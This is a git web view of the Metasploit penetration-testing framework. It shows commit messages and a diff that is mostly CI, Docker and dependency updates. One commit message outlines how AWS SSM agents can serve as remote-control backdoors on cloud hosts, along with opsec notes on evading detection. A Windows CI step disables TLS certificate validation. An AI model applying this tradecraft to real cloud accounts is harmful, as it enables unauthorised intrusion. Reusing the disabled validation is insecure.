RageLtMan 3624bee263 Initial implementation for AWS SSM shells
Amazon Web Services provides conveniently privileged backdoors in
the form of their SSM agents which do not require connectivity with
the target instance, merely valid credentials to AWS' API. Due to
this indirect "connection" paradigm, this mechanism can be used to
control otherwise "air-gapped" targets.

This approach abstracts asynchronous request/response parsing for
SSM requests into an IO channel with which the AWS SSM client is
then wrapped to emulate the expected Stream. The mechanism is rather
raw and could use better error handling, retries on laggy output,
and a threadsafe cursor implementation. It may be possible to start
an actually interactive session using the #start_session method in
the AWS client library, but so far testing has not yielded positive
results.

There is a significant limitation with these sessions not present
in normal stream-wise abstractions: a response limit of 2500 chars.
This limitation can be overcome by utilizing an S3 bucket to store
command output; however, due to the nature of access we seek to
obtain, it would not only add to the logged event loads but retain
the results of our TTPs in a "buffer" accessible to other people.
This functionality can be added down the line in the form of S3
config options in the handler to be passed into the SSM client for
command execution and acquisition of output.

Testing:
  Gets sessions, provides command IO, leaves a bunch of log entries
in CloudTrail (something to keep in mind for opsec considerations).

Next steps:
  Reorganize our WebSocket code a bit to provide connection and WS
state management inside Rex::Proto::Http::Client which can then be
exposed to the Handler without having to mix-in other namespaces
from Exploit.
  Use the #start_session SSM Client method to extract the WS URL
for the relevant channel, and utilize that as the underpinning for
our session comms.
2022-12-31 15:04:27 -05:00
RadioLogic a3c82246a7 Added archer c7 traversal exploit 2022-12-03 20:03:11 -05:00
RadioLogic 6d676e9ac5 Added vsftpd dos module 2022-11-26 16:00:01 -05:00
1030 changed files with 122705 additions and 7765 deletions
+223
View File
@@ -0,0 +1,223 @@
name: Acceptance
# Optional, enabling concurrency limits: https://docs.github.com/en/actions/using-jobs/using-concurrency
#concurrency:
# group: ${{ github.ref }}-${{ github.workflow }}
# cancel-in-progress: ${{ github.ref != 'refs/heads/main' }}
# https://docs.github.com/en/actions/using-workflows/workflow-syntax-for-github-actions#permissions
permissions:
actions: none
checks: none
contents: none
deployments: none
id-token: none
issues: none
discussions: none
packages: none
pages: none
pull-requests: none
repository-projects: none
security-events: none
statuses: none
on:
push:
branches-ignore:
- gh-pages
- metakitty
pull_request:
branches:
- '*'
paths:
- 'metsploit-framework.gemspec'
- 'Gemfile.lock'
- 'data/templates/**'
- 'modules/payloads/**'
- 'lib/msf/core/payload/**'
- 'lib/msf/core/**'
- 'tools/dev/**'
- 'spec/acceptance/**'
- 'spec/acceptance_spec_helper.rb'
# Example of running as a cron, to weed out flaky tests
# schedule:
# - cron: '*/15 * * * *'
jobs:
# Run all test individually, note there is a separate final job for aggregating the test results
test:
strategy:
fail-fast: false
matrix:
os:
- macos-11
- windows-2019
- ubuntu-20.04
ruby:
- 3.0.2
meterpreter:
# Python
- { name: python, runtime_version: 3.6 }
- { name: python, runtime_version: 3.11 }
# Java - newer versions of Java are not supported currently: https://github.com/rapid7/metasploit-payloads/issues/647
- { name: java, runtime_version: 8 }
# PHP
- { name: php, runtime_version: 5.3 }
- { name: php, runtime_version: 7.4 }
- { name: php, runtime_version: 8.2 }
include:
# Windows Meterpreter
- { meterpreter: { name: windows_meterpreter }, os: windows-2019 }
- { meterpreter: { name: windows_meterpreter }, os: windows-2022 }
# Mettle
- { meterpreter: { name: mettle }, os: macos-11 }
- { meterpreter: { name: mettle }, os: ubuntu-20.04 }
runs-on: ${{ matrix.os }}
timeout-minutes: 25
env:
RAILS_ENV: test
HOST_RUNNER_IMAGE: ${{ matrix.os }}
METERPRETER: ${{ matrix.meterpreter.name }}
METERPRETER_RUNTIME_VERSION: ${{ matrix.meterpreter.runtime_version }}
name: ${{ matrix.meterpreter.name }} ${{ matrix.meterpreter.runtime_version }} ${{ matrix.os }}
steps:
- name: Install system dependencies (Linux)
if: runner.os == 'Linux'
run: sudo apt-get -y --no-install-recommends install libpcap-dev graphviz
- uses: shivammathur/setup-php@5b29e8a45433c406b3902dff138a820a408c45b7
if: ${{ matrix.meterpreter.name == 'php' }}
with:
php-version: ${{ matrix.meterpreter.runtime_version }}
tools: none
- name: Set up Python
if: ${{ matrix.meterpreter.name == 'python' }}
uses: actions/setup-python@v4
with:
python-version: ${{ matrix.meterpreter.runtime_version }}
- uses: actions/setup-java@v3
if: ${{ matrix.meterpreter.name == 'java' }}
with:
distribution: temurin
java-version: ${{ matrix.meterpreter.runtime_version }}
- name: Install system dependencies (Windows)
shell: cmd
if: runner.os == 'Windows'
run: |
REM pcap dependencies
powershell -Command "[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true} ; [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object System.Net.WebClient).DownloadFile('https://www.winpcap.org/install/bin/WpdPack_4_1_2.zip', 'C:\Windows\Temp\WpdPack_4_1_2.zip')"
choco install 7zip.installServerCertificateValidationCallback
7z x "C:\Windows\Temp\WpdPack_4_1_2.zip" -o"C:\"
dir C:\\
dir %WINDIR%
type %WINDIR%\\system32\\drivers\\etc\\hosts
- name: Checkout code
uses: actions/checkout@v3
- name: Setup Ruby
env:
BUNDLE_WITHOUT: "coverage development"
BUNDLE_FORCE_RUBY_PLATFORM: true
uses: ruby/setup-ruby@v1
with:
ruby-version: ${{ matrix.ruby }}
bundler-cache: true
cache-version: 4
# Github actions with Ruby requires Bundler 2.2.18+
# https://github.com/ruby/setup-ruby/tree/d2b39ad0b52eca07d23f3aa14fdf2a3fcc1f411c#windows
bundler: 2.2.33
- name: acceptance
env:
SPEC_HELPER_LOAD_METASPLOIT: false
SPEC_OPTS: "--tag acceptance --require acceptance_spec_helper.rb --color --format documentation --format AllureRspec::RSpecFormatter"
# Unix run command:
# SPEC_HELPER_LOAD_METASPLOIT=false bundle exec ./spec/acceptance
# Windows cmd command:
# set SPEC_HELPER_LOAD_METASPLOIT=false
# bundle exec rspec .\spec\acceptance
# Note: rspec retry is intentionally not used, as it can cause issues with allure's reporting
# Additionally - flakey tests should be fixed or marked as flakey instead of silently retried
run: |
bundle exec rspec spec/acceptance/
- name: Archive results
if: always()
uses: actions/upload-artifact@v3
with:
# Provide a unique artifact for each matrix os, otherwise race conditions can lead to corrupt zips
name: raw-data-${{ matrix.meterpreter.name }}-${{ matrix.meterpreter.runtime_version }}-${{ matrix.os }}
path: tmp/allure-raw-data
# Generate a final report from the previous test results
report:
name: Generate report
needs: test
runs-on: ubuntu-latest
if: always()
steps:
- name: Checkout code
uses: actions/checkout@v3
if: always()
- name: Install system dependencies (Linux)
if: always()
run: sudo apt-get -y --no-install-recommends install libpcap-dev graphviz
- name: Setup Ruby
if: always()
env:
BUNDLE_WITHOUT: "coverage development"
BUNDLE_FORCE_RUBY_PLATFORM: true
uses: ruby/setup-ruby@v1
with:
ruby-version: 3.0.2
bundler-cache: true
cache-version: 4
# Github actions with Ruby requires Bundler 2.2.18+
# https://github.com/ruby/setup-ruby/tree/d2b39ad0b52eca07d23f3aa14fdf2a3fcc1f411c#windows
bundler: 2.2.33
- uses: actions/download-artifact@v3
id: download
if: always()
with:
# Note: Not specifying a name will download all artifacts from the previous workflow jobs
path: raw-data
- name: allure generate
if: always()
run: |
export VERSION=2.22.1
curl -o allure-$VERSION.tgz -Ls https://github.com/allure-framework/allure2/releases/download/$VERSION/allure-$VERSION.tgz
tar -zxvf allure-$VERSION.tgz -C .
ls -la ${{steps.download.outputs.download-path}}
./allure-$VERSION/bin/allure generate ${{steps.download.outputs.download-path}}/* -o ./allure-report
find ${{steps.download.outputs.download-path}}
bundle exec ruby tools/dev/report_generation/support_matrix/generate.rb --allure-data ${{steps.download.outputs.download-path}} > ./allure-report/support_matrix.html
- name: archive results
if: always()
uses: actions/upload-artifact@v3
with:
name: final-report-${{ github.run_id }}
path: |
./allure-report
+1 -1
View File
@@ -38,7 +38,7 @@ jobs:
fail-fast: true
matrix:
ruby:
- '2.7'
- '3.0'
name: Ruby ${{ matrix.ruby }}
steps:
+1 -1
View File
@@ -35,7 +35,7 @@ jobs:
fail-fast: true
matrix:
ruby:
- '2.7'
- '3.0'
name: Lint msftidy
steps:
+4 -3
View File
@@ -64,15 +64,14 @@ jobs:
fail-fast: true
matrix:
ruby:
- '2.7'
- '3.0'
- '3.1'
- '3.2'
- '3.3.0-preview1'
os:
- ubuntu-20.04
- ubuntu-latest
exclude:
- { os: ubuntu-latest, ruby: '2.7' }
- { os: ubuntu-latest, ruby: '3.0' }
include:
- os: ubuntu-latest
@@ -91,7 +90,7 @@ jobs:
name: ${{ matrix.os }} - Ruby ${{ matrix.ruby }} - ${{ matrix.test_cmd }}
steps:
- name: Install system dependencies
run: sudo apt-get install libpcap-dev graphviz
run: sudo apt-get install -y --no-install-recommends libpcap-dev graphviz
- name: Checkout code
uses: actions/checkout@v3
@@ -99,6 +98,8 @@ jobs:
- name: Setup Ruby
env:
BUNDLE_WITHOUT: "coverage development pcap"
# Nokogiri doesn't release pre-compiled binaries for preview versions of Ruby; So force compilation with BUNDLE_FORCE_RUBY_PLATFORM
BUNDLE_FORCE_RUBY_PLATFORM: "${{ contains(matrix.ruby, 'preview') && 'true' || 'false' }}"
uses: ruby/setup-ruby@v1
with:
ruby-version: '${{ matrix.ruby }}'
+1 -1
View File
@@ -40,7 +40,7 @@ jobs:
const hasPR = await github.rest.pulls.list({
owner,
repo,
head: owner + ':' + '${{ github.ref_name }}'
head: owner + ':' + '${{ github.ref_name }}'
});
console.log('hasPR:');
console.log(JSON.stringify({ data: hasPR.data, status: hasPR.status }, null, 4));
+2
View File
@@ -19,6 +19,8 @@ Gemfile.local.lock
.yardoc
# Mac OS X files
.DS_Store
# Ignore Solargraph config file
.solargraph.yml
# database config for testing
config/database.yml
# target config file for testing
+4
View File
@@ -22,6 +22,7 @@ require:
- ./lib/rubocop/cop/lint/module_disclosure_date_present.rb
- ./lib/rubocop/cop/lint/deprecated_gem_version.rb
- ./lib/rubocop/cop/lint/module_enforce_notes.rb
- ./lib/rubocop/cop/lint/detect_invalid_pack_directives.rb
Layout/SpaceBeforeBrackets:
Description: >-
@@ -166,6 +167,9 @@ Layout/ModuleHashValuesOnSameLine:
Layout/ModuleDescriptionIndentation:
Enabled: true
Lint/DetectInvalidPackDirectives:
Enabled: true
Lint/ModuleDisclosureDateFormat:
Enabled: true
+28
View File
@@ -0,0 +1,28 @@
---
include:
- "**/*.rb"
exclude:
- spec/**/*
- test/**/*
- vendor/**/*
- ".bundle/**/*"
- modules/**/*
- data/**/*
- db/**/*
- external/**/*
- plugins/**/*
- scripts/**/* # Some of this is old and may not need indexing???
require: []
domains: []
reporters:
- rubocop
- require_not_found
formatter:
rubocop:
cops: safe
except: []
only: []
extra_args: []
require_paths: []
plugins: []
max_files: 0
+6 -6
View File
@@ -43,9 +43,9 @@ RUN apk add --no-cache \
ENV GO111MODULE=off
RUN mkdir -p $TOOLS_HOME/bin && \
cd $TOOLS_HOME/bin && \
curl -O https://dl.google.com/go/go1.19.3.src.tar.gz && \
tar -zxf go1.19.3.src.tar.gz && \
rm go1.19.3.src.tar.gz && \
curl -O https://dl.google.com/go/go1.21.1.src.tar.gz && \
tar -zxf go1.21.1.src.tar.gz && \
rm go1.21.1.src.tar.gz && \
cd go/src && \
./make.bash
@@ -61,8 +61,8 @@ ENV METASPLOIT_GROUP=metasploit
RUN addgroup -S $METASPLOIT_GROUP
RUN apk add --no-cache bash sqlite-libs nmap nmap-scripts nmap-nselibs \
postgresql-libs python2 python3 py3-pip ncurses libcap su-exec alpine-sdk \
python2-dev openssl-dev nasm mingw-w64-gcc
postgresql-libs python3 py3-pip ncurses libcap su-exec alpine-sdk \
openssl-dev nasm mingw-w64-gcc
RUN /usr/sbin/setcap cap_net_raw,cap_net_bind_service=+eip $(which ruby)
RUN /usr/sbin/setcap cap_net_raw,cap_net_bind_service=+eip $(which nmap)
@@ -75,7 +75,7 @@ RUN chown -R root:metasploit $APP_HOME/
RUN chmod 664 $APP_HOME/Gemfile.lock
RUN gem update --system
RUN cp -f $APP_HOME/docker/database.yml $APP_HOME/config/database.yml
RUN curl -L -O https://github.com/pypa/get-pip/raw/3843bff3a0a61da5b63ea0b7d34794c5c51a2f11/get-pip.py && python get-pip.py && rm get-pip.py
RUN curl -L -O https://raw.githubusercontent.com/pypa/get-pip/f84b65709d4b20221b7dbee900dbf9985a81b5d4/public/get-pip.py && python3 get-pip.py && rm get-pip.py
RUN pip install impacket
RUN pip install requests
+8 -4
View File
@@ -31,20 +31,24 @@ group :development do
end
group :development, :test do
# automatically include factories from spec/factories
gem 'factory_bot_rails'
# Make rspec output shorter and more useful
gem 'fivemat'
# running documentation generation tasks and rspec tasks
gem 'rake'
# Define `rake spec`. Must be in development AND test so that its available by default as a rake test when the
# environment is development
gem 'rspec-rails'
gem 'rspec-rerun'
# Required during CI as well local development
gem 'rubocop'
end
group :test do
# automatically include factories from spec/factories
gem 'test-prof'
gem 'factory_bot_rails'
# Make rspec output shorter and more useful
gem 'fivemat'
# rspec formatter for acceptance tests
gem 'allure-rspec'
# Manipulate Time.now in specs
gem 'timecop'
end
+165 -122
View File
@@ -1,13 +1,15 @@
PATH
remote: .
specs:
metasploit-framework (6.3.16)
actionpack (~> 7.0)
activerecord (~> 7.0)
activesupport (~> 7.0)
metasploit-framework (6.3.38)
actionpack (~> 7.0.0)
activerecord (~> 7.0.0)
activesupport (~> 7.0.0)
aws-sdk-ec2
aws-sdk-ec2instanceconnect
aws-sdk-iam
aws-sdk-s3
aws-sdk-ssm
bcrypt
bcrypt_pbkdf
bootsnap
@@ -24,25 +26,26 @@ PATH
filesize
hrr_rb_ssh-ed25519
http-cookie
irb
irb (~> 1.7.4)
jsobfu
json
metasm
metasploit-concern
metasploit-credential
metasploit-model
metasploit-payloads (= 2.0.130)
metasploit-payloads (= 2.0.156)
metasploit_data_models
metasploit_payloads-mettle (= 1.0.20)
metasploit_payloads-mettle (= 1.0.26)
mqtt
msgpack (~> 1.6.0)
nessus_rest
net-imap
net-ldap
net-smtp
net-ssh
network_interface
nexpose
nokogiri
nokogiri (~> 1.14.0)
octokit (~> 4.0)
openssl-ccm
openvas-omp
@@ -76,6 +79,7 @@ PATH
rex-text
rex-zip
ruby-macho
ruby-mysql
ruby_smb (~> 3.2.0)
rubyntlm
rubyzip
@@ -99,58 +103,73 @@ GEM
remote: https://rubygems.org/
specs:
Ascii85 (1.1.0)
actionpack (7.0.4.3)
actionview (= 7.0.4.3)
activesupport (= 7.0.4.3)
rack (~> 2.0, >= 2.2.0)
actionpack (7.0.8)
actionview (= 7.0.8)
activesupport (= 7.0.8)
rack (~> 2.0, >= 2.2.4)
rack-test (>= 0.6.3)
rails-dom-testing (~> 2.0)
rails-html-sanitizer (~> 1.0, >= 1.2.0)
actionview (7.0.4.3)
activesupport (= 7.0.4.3)
actionview (7.0.8)
activesupport (= 7.0.8)
builder (~> 3.1)
erubi (~> 1.4)
rails-dom-testing (~> 2.0)
rails-html-sanitizer (~> 1.1, >= 1.2.0)
activemodel (7.0.4.3)
activesupport (= 7.0.4.3)
activerecord (7.0.4.3)
activemodel (= 7.0.4.3)
activesupport (= 7.0.4.3)
activesupport (7.0.4.3)
activemodel (7.0.8)
activesupport (= 7.0.8)
activerecord (7.0.8)
activemodel (= 7.0.8)
activesupport (= 7.0.8)
activesupport (7.0.8)
concurrent-ruby (~> 1.0, >= 1.0.2)
i18n (>= 1.6, < 2)
minitest (>= 5.1)
tzinfo (~> 2.0)
addressable (2.8.4)
addressable (2.8.5)
public_suffix (>= 2.0.2, < 6.0)
afm (0.2.2)
allure-rspec (2.23.0)
allure-ruby-commons (= 2.23.0)
rspec-core (>= 3.8, < 4)
allure-ruby-commons (2.23.0)
mime-types (>= 3.3, < 4)
require_all (>= 2, < 4)
rspec-expectations (~> 3.12)
uuid (>= 2.3, < 3)
arel-helpers (2.14.0)
activerecord (>= 3.1.0, < 8)
ast (2.4.2)
aws-eventstream (1.2.0)
aws-partitions (1.749.0)
aws-sdk-core (3.171.0)
aws-partitions (1.834.0)
aws-sdk-core (3.185.1)
aws-eventstream (~> 1, >= 1.0.2)
aws-partitions (~> 1, >= 1.651.0)
aws-sigv4 (~> 1.5)
jmespath (~> 1, >= 1.6.1)
aws-sdk-ec2 (1.375.0)
aws-sdk-core (~> 3, >= 3.165.0)
aws-sdk-ec2 (1.411.0)
aws-sdk-core (~> 3, >= 3.184.0)
aws-sigv4 (~> 1.1)
aws-sdk-iam (1.77.0)
aws-sdk-core (~> 3, >= 3.165.0)
aws-sdk-ec2instanceconnect (1.34.0)
aws-sdk-core (~> 3, >= 3.184.0)
aws-sigv4 (~> 1.1)
aws-sdk-kms (1.63.0)
aws-sdk-core (~> 3, >= 3.165.0)
aws-sdk-iam (1.87.0)
aws-sdk-core (~> 3, >= 3.184.0)
aws-sigv4 (~> 1.1)
aws-sdk-s3 (1.120.1)
aws-sdk-core (~> 3, >= 3.165.0)
aws-sdk-kms (1.72.0)
aws-sdk-core (~> 3, >= 3.184.0)
aws-sigv4 (~> 1.1)
aws-sdk-s3 (1.136.0)
aws-sdk-core (~> 3, >= 3.181.0)
aws-sdk-kms (~> 1)
aws-sigv4 (~> 1.4)
aws-sigv4 (1.5.2)
aws-sigv4 (~> 1.6)
aws-sdk-ssm (1.158.0)
aws-sdk-core (~> 3, >= 3.184.0)
aws-sigv4 (~> 1.1)
aws-sigv4 (1.6.0)
aws-eventstream (~> 1, >= 1.0.2)
bcrypt (3.1.18)
base64 (0.1.1)
bcrypt (3.1.19)
bcrypt_pbkdf (1.1.0)
bindata (2.4.15)
bootsnap (1.16.0)
@@ -164,7 +183,8 @@ GEM
cookiejar (0.3.3)
crass (1.0.6)
daemons (1.4.1)
debug (1.7.2)
date (3.3.3)
debug (1.8.0)
irb (>= 1.5.0)
reline (>= 0.3.1)
diff-lcs (1.5.0)
@@ -189,18 +209,19 @@ GEM
factory_bot_rails (6.2.0)
factory_bot (~> 6.2.0)
railties (>= 5.0.0)
faker (3.2.0)
faker (3.2.1)
i18n (>= 1.8.11, < 2)
faraday (2.7.4)
faraday (2.7.11)
base64
faraday-net_http (>= 2.0, < 3.1)
ruby2_keywords (>= 0.0.4)
faraday-net_http (3.0.2)
faraday-retry (2.1.0)
faraday-retry (2.2.0)
faraday (~> 2.0)
faye-websocket (0.11.2)
faye-websocket (0.11.3)
eventmachine (>= 0.12.0)
websocket-driver (>= 0.5.1)
ffi (1.15.5)
ffi (1.16.3)
filesize (0.2.0)
fivemat (1.3.7)
gssapi (1.3.1)
@@ -217,30 +238,33 @@ GEM
domain_name (~> 0.5)
http_parser.rb (0.8.0)
httpclient (2.8.3)
i18n (1.12.0)
i18n (1.14.1)
concurrent-ruby (~> 1.0)
io-console (0.6.0)
irb (1.6.4)
reline (>= 0.3.0)
irb (1.7.4)
reline (>= 0.3.6)
jmespath (1.6.2)
jsobfu (0.4.2)
rkelly-remix
json (2.6.3)
language_server-protocol (3.17.0.3)
little-plugger (1.1.4)
logging (2.3.1)
little-plugger (~> 1.1)
multi_json (~> 1.14)
loofah (2.20.0)
loofah (2.21.3)
crass (~> 1.0.2)
nokogiri (>= 1.5.9)
nokogiri (>= 1.12.0)
macaddr (1.7.2)
systemu (~> 2.6.5)
memory_profiler (1.0.1)
metasm (1.0.5)
metasploit-concern (5.0.1)
metasploit-concern (5.0.2)
activemodel (~> 7.0)
activesupport (~> 7.0)
railties (~> 7.0)
zeitwerk
metasploit-credential (6.0.4)
metasploit-credential (6.0.6)
metasploit-concern
metasploit-model
metasploit_data_models (>= 5.0.0)
@@ -250,12 +274,12 @@ GEM
rex-socket
rubyntlm
rubyzip
metasploit-model (5.0.1)
metasploit-model (5.0.2)
activemodel (~> 7.0)
activesupport (~> 7.0)
railties (~> 7.0)
metasploit-payloads (2.0.130)
metasploit_data_models (6.0.2)
metasploit-payloads (2.0.156)
metasploit_data_models (6.0.3)
activerecord (~> 7.0)
activesupport (~> 7.0)
arel-helpers
@@ -265,26 +289,32 @@ GEM
railties (~> 7.0)
recog
webrick
metasploit_payloads-mettle (1.0.20)
metasploit_payloads-mettle (1.0.26)
method_source (1.0.0)
mini_portile2 (2.8.1)
minitest (5.18.0)
mime-types (3.5.1)
mime-types-data (~> 3.2015)
mime-types-data (3.2023.1003)
mini_portile2 (2.8.4)
minitest (5.20.0)
mqtt (0.6.0)
msgpack (1.6.1)
multi_json (1.15.0)
mustermann (3.0.0)
ruby2_keywords (~> 0.0.1)
nessus_rest (0.1.6)
net-imap (0.4.0)
date
net-protocol
net-ldap (0.18.0)
net-protocol (0.2.1)
timeout
net-smtp (0.3.3)
net-smtp (0.4.0)
net-protocol
net-ssh (7.1.0)
network_interface (0.0.2)
net-ssh (7.2.0)
network_interface (0.0.4)
nexpose (7.3.0)
nio4r (2.5.9)
nokogiri (1.14.3)
nokogiri (1.14.5)
mini_portile2 (~> 2.8.0)
racc (~> 1.4)
nori (2.6.0)
@@ -294,11 +324,12 @@ GEM
openssl-ccm (1.2.3)
openssl-cmac (2.0.2)
openvas-omp (0.0.4)
packetfu (1.1.13)
pcaprub
packetfu (2.0.0)
pcaprub (~> 0.13.1)
parallel (1.23.0)
parser (3.2.2.1)
parser (3.2.2.4)
ast (~> 2.4.1)
racc
patch_finder (1.0.2)
pcaprub (0.13.1)
pdf-reader (2.11.0)
@@ -307,30 +338,32 @@ GEM
hashery (~> 2.0)
ruby-rc4
ttfunk
pg (1.4.6)
pg (1.5.4)
pry (0.14.2)
coderay (~> 1.1)
method_source (~> 1.0)
pry-byebug (3.10.1)
byebug (~> 11.0)
pry (>= 0.13, < 0.15)
public_suffix (5.0.1)
puma (6.2.2)
public_suffix (5.0.3)
puma (6.4.0)
nio4r (~> 2.0)
racc (1.6.2)
rack (2.2.6.4)
rack-protection (3.0.6)
rack
racc (1.7.1)
rack (2.2.8)
rack-protection (3.1.0)
rack (~> 2.2, >= 2.2.4)
rack-test (2.1.0)
rack (>= 1.3)
rails-dom-testing (2.0.3)
activesupport (>= 4.2.0)
rails-dom-testing (2.2.0)
activesupport (>= 5.0.0)
minitest
nokogiri (>= 1.6)
rails-html-sanitizer (1.5.0)
loofah (~> 2.19, >= 2.19.1)
railties (7.0.4.3)
actionpack (= 7.0.4.3)
activesupport (= 7.0.4.3)
rails-html-sanitizer (1.6.0)
loofah (~> 2.21)
nokogiri (~> 1.14)
railties (7.0.8)
actionpack (= 7.0.8)
activesupport (= 7.0.8)
method_source
rake (>= 12.2)
thor (~> 1.0)
@@ -340,98 +373,102 @@ GEM
rasn1 (0.12.1)
strptime (~> 0.2.5)
rb-readline (0.5.5)
recog (3.1.1)
recog (3.1.2)
nokogiri
redcarpet (3.6.0)
regexp_parser (2.8.0)
reline (0.3.3)
regexp_parser (2.8.1)
reline (0.3.8)
io-console (~> 0.5)
rex-arch (0.1.14)
require_all (3.0.0)
rex-arch (0.1.15)
rex-text
rex-bin_tools (0.1.8)
rex-bin_tools (0.1.9)
metasm
rex-arch
rex-core
rex-struct2
rex-text
rex-core (0.1.30)
rex-encoder (0.1.6)
rex-core (0.1.31)
rex-encoder (0.1.7)
metasm
rex-arch
rex-text
rex-exploitation (0.1.38)
rex-exploitation (0.1.39)
jsobfu
metasm
rex-arch
rex-encoder
rex-text
rexml
rex-java (0.1.6)
rex-mime (0.1.7)
rex-java (0.1.7)
rex-mime (0.1.8)
rex-text
rex-nop (0.1.2)
rex-nop (0.1.3)
rex-arch
rex-ole (0.1.7)
rex-ole (0.1.8)
rex-text
rex-powershell (0.1.97)
rex-powershell (0.1.99)
rex-random_identifier
rex-text
ruby-rc4
rex-random_identifier (0.1.10)
rex-random_identifier (0.1.11)
rex-text
rex-registry (0.1.4)
rex-rop_builder (0.1.4)
rex-registry (0.1.5)
rex-rop_builder (0.1.5)
metasm
rex-core
rex-text
rex-socket (0.1.49)
rex-socket (0.1.54)
rex-core
rex-sslscan (0.1.9)
rex-sslscan (0.1.10)
rex-core
rex-socket
rex-text
rex-struct2 (0.1.3)
rex-text (0.2.50)
rex-zip (0.1.4)
rex-struct2 (0.1.4)
rex-text (0.2.53)
rex-zip (0.1.5)
rex-text
rexml (3.2.5)
rexml (3.2.6)
rkelly-remix (0.0.7)
rspec (3.12.0)
rspec-core (~> 3.12.0)
rspec-expectations (~> 3.12.0)
rspec-mocks (~> 3.12.0)
rspec-core (3.12.1)
rspec-core (3.12.2)
rspec-support (~> 3.12.0)
rspec-expectations (3.12.2)
rspec-expectations (3.12.3)
diff-lcs (>= 1.2.0, < 2.0)
rspec-support (~> 3.12.0)
rspec-mocks (3.12.5)
rspec-mocks (3.12.6)
diff-lcs (>= 1.2.0, < 2.0)
rspec-support (~> 3.12.0)
rspec-rails (6.0.1)
rspec-rails (6.0.3)
actionpack (>= 6.1)
activesupport (>= 6.1)
railties (>= 6.1)
rspec-core (~> 3.11)
rspec-expectations (~> 3.11)
rspec-mocks (~> 3.11)
rspec-support (~> 3.11)
rspec-core (~> 3.12)
rspec-expectations (~> 3.12)
rspec-mocks (~> 3.12)
rspec-support (~> 3.12)
rspec-rerun (1.1.0)
rspec (~> 3.0)
rspec-support (3.12.0)
rubocop (1.50.2)
rspec-support (3.12.1)
rubocop (1.56.4)
base64 (~> 0.1.1)
json (~> 2.3)
language_server-protocol (>= 3.17.0)
parallel (~> 1.10)
parser (>= 3.2.0.0)
parser (>= 3.2.2.3)
rainbow (>= 2.2.2, < 4.0)
regexp_parser (>= 1.8, < 3.0)
rexml (>= 3.2.5, < 4.0)
rubocop-ast (>= 1.28.0, < 2.0)
rubocop-ast (>= 1.28.1, < 2.0)
ruby-progressbar (~> 1.7)
unicode-display_width (>= 2.4.0, < 3.0)
rubocop-ast (1.28.0)
rubocop-ast (1.29.0)
parser (>= 3.2.1.0)
ruby-macho (3.0.0)
ruby-macho (4.0.0)
ruby-mysql (4.1.0)
ruby-prof (1.4.2)
ruby-progressbar (1.13.0)
ruby-rc4 (0.1.5)
@@ -453,24 +490,26 @@ GEM
simplecov-html (0.12.3)
simpleidn (0.2.1)
unf (~> 0.1.4)
sinatra (3.0.6)
sinatra (3.1.0)
mustermann (~> 3.0)
rack (~> 2.2, >= 2.2.4)
rack-protection (= 3.0.6)
rack-protection (= 3.1.0)
tilt (~> 2.0)
sqlite3 (1.6.2)
sqlite3 (1.6.6)
mini_portile2 (~> 2.8.0)
sshkey (2.0.0)
sshkey (3.0.0)
strptime (0.2.5)
swagger-blocks (3.0.0)
systemu (2.6.5)
test-prof (1.2.3)
thin (1.8.2)
daemons (~> 1.0, >= 1.0.9)
eventmachine (~> 1.0, >= 1.0.4)
rack (>= 1, < 3)
thor (1.2.1)
tilt (2.1.0)
timecop (0.9.6)
timeout (0.3.2)
thor (1.2.2)
tilt (2.3.0)
timecop (0.9.8)
timeout (0.4.0)
ttfunk (1.7.0)
tzinfo (2.0.6)
concurrent-ruby (~> 1.0)
@@ -479,12 +518,14 @@ GEM
unf (0.1.4)
unf_ext
unf_ext (0.0.8.2)
unicode-display_width (2.4.2)
unicode-display_width (2.5.0)
unix-crypt (1.3.1)
uuid (2.3.9)
macaddr (~> 1.0)
warden (1.2.9)
rack (>= 2.0.9)
webrick (1.8.1)
websocket-driver (0.7.5)
websocket-driver (0.7.6)
websocket-extensions (>= 0.1.0)
websocket-extensions (0.1.5)
win32api (0.1.0)
@@ -501,15 +542,16 @@ GEM
xdr (3.0.3)
activemodel (>= 4.2, < 8.0)
activesupport (>= 4.2, < 8.0)
xmlrpc (0.3.2)
xmlrpc (0.3.3)
webrick
yard (0.9.34)
zeitwerk (2.6.7)
zeitwerk (2.6.12)
PLATFORMS
ruby
DEPENDENCIES
allure-rspec
debug (>= 1.0.0)
factory_bot_rails
fivemat
@@ -524,6 +566,7 @@ DEPENDENCIES
rubocop
ruby-prof (= 1.4.2)
simplecov (= 0.18.2)
test-prof
timecop
yard
+17
View File
@@ -21,6 +21,11 @@ Copyright: 2007 Roland Bouman
License: LGPL-2.1
Purpose: These files are used in exploits/multi/mysql/mysql_udf_payload.rb
Files: data/exploits/cve-2023-34634/test.png
Copyright: 2023 Brendan Watters
License: MIT
Purpose: These image is used as the default file to embed the exploit command.
Files: data/headers/windows/c_payload_util/beacon.h
Copyright: 2022, Copyright Help/Systems LLC and its group of companies.
License: Apache 2.0
@@ -44,6 +49,11 @@ Files: data/webcam/api.js
Copyright: Copyright 2013 Muaz Khan<@muazkh>.
License: MIT
Files: data/wordlists/flask_secret_keys.txt
Source: https://github.com/Paradoxis/Flask-Unsign-Wordlist/blob/v2023.34/flask_unsign_wordlist/wordlists/github.txt
Copyright: Copyright (c) 2023 Luke Paris (Paradoxis)
License: MIT
Files: external/source/byakugan/*
Copyright: Lurene Grenier, 2009
License: BSD-3-clause
@@ -75,6 +85,13 @@ Files: exteneral/source/exploits/CVE-2022-26904/*
Copyright: 2022 Abdelhamid Naceri
License: MIT
Files: external/source/exploits/CVE-2023-36874/*
Copyright: 2023 Octoberfest7
License: MIT
Purpose: Library and error report file are required for calculating offsets to the correct
function calls to implement the exploit. The heavily modified C main is necessary
to create and trigger the exploit.
Files: external/source/exploits/drunkpotato/Common_Src_Files/spnegotokenhandler/*
Copyright: 2011 Jon Bringhurst
License: GNU GPL 2.0
+60 -46
View File
@@ -1,21 +1,25 @@
This file is auto-generated by tools/dev/update_gem_licenses.sh
Ascii85, 1.1.0, MIT
actionpack, 7.0.4.3, MIT
actionview, 7.0.4.3, MIT
activemodel, 7.0.4.3, MIT
activerecord, 7.0.4.3, MIT
activesupport, 7.0.4.3, MIT
actionpack, 7.0.5, MIT
actionview, 7.0.5, MIT
activemodel, 7.0.5, MIT
activerecord, 7.0.5, MIT
activesupport, 7.0.5, MIT
addressable, 2.8.4, "Apache 2.0"
afm, 0.2.2, MIT
allure-rspec, 2.22.0, "Apache 2.0"
allure-ruby-commons, 2.22.0, "Apache 2.0"
